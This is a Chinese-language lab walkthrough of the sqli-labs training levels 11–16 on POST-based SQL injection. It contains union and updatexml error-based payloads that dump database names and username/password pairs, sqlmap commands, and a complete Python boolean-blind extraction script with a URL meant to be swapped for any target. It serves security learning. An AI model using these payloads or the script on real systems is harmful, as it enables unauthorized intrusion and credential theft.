POST和GET属于两种不同的提交方式,使用POST时,数据将以表单的方式进行传输,对此,小编对一款插件进行推荐:
HacKBar:
Hackbar是一个Firefox的插件,它的功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响。
有网址的载入于访问,联合查询,各种编码,数据加密功能。
这个Hackbar可以帮助你在测试SQL注入,XSS漏洞和网站的安全性,主要是帮助开发人员做代码的安全审计,检查代码,寻找安全漏洞。
该插件可以在chrome和火狐浏览器中直接搜索使用,鉴于该插件目前已经进行了收费,可以使用max hackbar 功能基本相同,操作类似,重要的是,他是免费的。
从小编的角度来看,less11-16其实只不过是前10题的翻版,各种闭合类型的联合注入+各种闭合类型的报错注入+各种闭合类型的盲注,没有很多更新的知识,只是将提交方式改为了post,因此,直接对每关的注入方案进行展示
less-11POST-ErrorBased -Single quotes-String
字符型+POST+联合注入(因为可以对报错进行输出,也可以用报错注入)
判断闭合方式
对username输入1‘出现报错,输入?id=1’–+无报错,则为单引号闭合,从上图的源代码中也可以验证这一点
联合注入方案
判断字段数
admin' order by 1 #,admin' order by 2 # 能够进行正常回显
admin' order by 3 #
出现报错,说明数据库具备两个字段
爆破数据库
-1' union select 1,database() #
列举服务器上所有数据库
1' union select group_concat(schema_name),2 from information_schema.schemata #
爆破数据库表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
-1' union select 1,group_concat(username,':',password) from users #
报错注入方案
获取数据库名称
1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#
获取数据库数据表名称
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#
获取数据表列名称
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#
获取用户名密码
1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#
sqlmap自动化注入
sqlmap -u http://192.168.2.15/sqli-labs/Less-13/ --forms --dbs
--forms能够自动提取表单,--dbs能够获取数据库名称
less-12 POST - Error Based - Double quotes -String-with twist
该题的方案和十一题基本相同,区别在于闭合方式变为了(",因此只需要将payload的闭合方式进行修改就可以达到目的。
less-13 POST -Double Injection -Single Quotes-String -With twist
该题同样,但是不再对查询结果进行输出,可以采用11题中的报错注入方案,修改闭合方式以后进行使用
less-14 POST-Double Injection-Single Quotes -String-With- twist
不对查询结果进行输出,但是可以对报错信息进行输出,可以使用11题的报错注入方案,修改闭合方式为”进行使用
less -15
该题不再对报错信息进行输出,也不对查询结果进行输出,只可以进行盲注,可以参考less 8的脚本进行注入,由于对于不同bool结果有不同的显示,即flag.jpg(可以通过网页开发者工具进行查看),所以可以把flag设为flag.jpg,闭合方式改为单引号,提交方式改为POST
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-15/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg' #用于判断附加sql语句为真的字符,根据网页回显填写
def Databases15():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"uname":payload1,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"
param = {
"uname":payload2,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "ele' or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload3,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of databases are "+str(db))
def Tables15(database):
n = 200 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))>"+str(j)+"-- ss"
param = {
"uname":payload4,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))="+str(i)+"-- ss"
param = {
"uname":payload5,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "ele' or substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload6,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in "+database+" is "+str(tname))
def Columns15(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))>"+str(j)+"-- ss"
param = {
"uname":payload7,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))="+str(i)+"-- ss"
param = {
"uname":payload8,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "ele' or substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload9,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in database "+database+" table "+table+" is "+str(cname))
def Content15(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 500 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))>"+str(j)+"-- ss"
param = {
"uname":payload10,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))="+str(i)+"-- ss"
param = {
"uname":payload11,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "ele' or substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload12,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
less-16 POST Blind-Boolian/Time Based -Double quotes
盲注需要sql语句查询结果正确或错误的情况下客户端的表现有所不同,和前关不同,前十关可以通过制造报错的方法得到闭合方式,针对以下情况,我们可一通过万能钥匙尝试来获得 闭合方式
输入ele" or 1=1发现登录失败
输入ele") or 1=1发现登录成功,为其闭合方式
该题和上题的区别在于闭合方式不同,只需要将payload的闭合方式修改就可以直接使用不多进行赘述
尝试通过sqlmap进行注入
sqlmap -u http://192.168.2.15/sqli-labs/Less-16/ --forms --dbs --level 3 由于可能默认采用了时间盲注需要的时间比较久
sqlmap --level 可以对sqlmap的注入等级进行设置,等级越高,检测越详细,同样花费时间越久